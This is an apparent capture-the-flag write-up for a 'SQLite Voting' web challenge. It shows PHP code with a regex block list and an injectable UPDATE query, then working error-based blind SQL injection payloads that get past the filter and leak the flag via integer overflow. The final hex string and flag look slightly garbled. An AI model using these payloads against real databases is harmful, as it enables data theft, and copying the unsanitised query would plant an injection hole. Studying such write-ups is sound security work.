Tags: web sqli 

Rating:

SQLite Voting
===

```php
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

// request to SQLite db, I skipped is_valid($id)
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
```

We can see that we've got a heavily filtered error-based blind sql injection.

## Solution

First we got the length of the flag by unumerating through `$LENGTH$` in the following payload:

```sql
abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000))
```

I will explain the payload bit-by-bit later, but the flag was 38 characters long.

Then, we double hexed the `flag` so we can be sure that it only produces digits

```sh
sqlite> select hex('0123456789ABCDEF');
30313233343536373839414243444546
```

We also know that the length of the produced number is exactly 152-digit long.

You cannot pass integers bigger than `9223372036854775807` because they will get cast into floating numbers, but you can concatenate them as they were string, e.g. `9223372036854775807||9223372036854775807` will produce `92233720368547758079223372036854775807`. Thanks to this property we now can iterate over all composited 152-digit long `$NUMBER$` and use the `max(A, B)` function which will return the bigger one.

```sql
abs(ifnull(nullif(max(hex(hex((SELECT(flag)from(flag)))),$NUMBER$),$NUMBER$),0x8000000000000000))
```

We get the double hexed flag which is:
`343836313732363536423631374136353433353434363742333433313644354633373330354636323333354633343546333537313643333133373333354636443334333533373333373237430`

**HarekazeCTF{41m_70_b3_4_5ql173_m4573r|**

**Explaination**:
- `abs(-9223372036854775808)` will cause integer overflow and hence throw an error
- `0x8000000000000000` is hex-encoded `-9223372036854775808`
- `nullif(A,B)` will return `NULL` if `A` equals `B`, returns `A` otherwise
- `ifnull(A,0x8000000000000000)` will return `0x8000000000000000` if `A` is `NULL`, otherwise `A` is returned.
- `max(A,B)` returns lexicographically greater string.
- `hex(hex(flag)` "removes" all non-digit characters from flag

Original writeup (https://gist.github.com/terjanq/a571826c6bb08ae0dfa4ef57e03b5b72).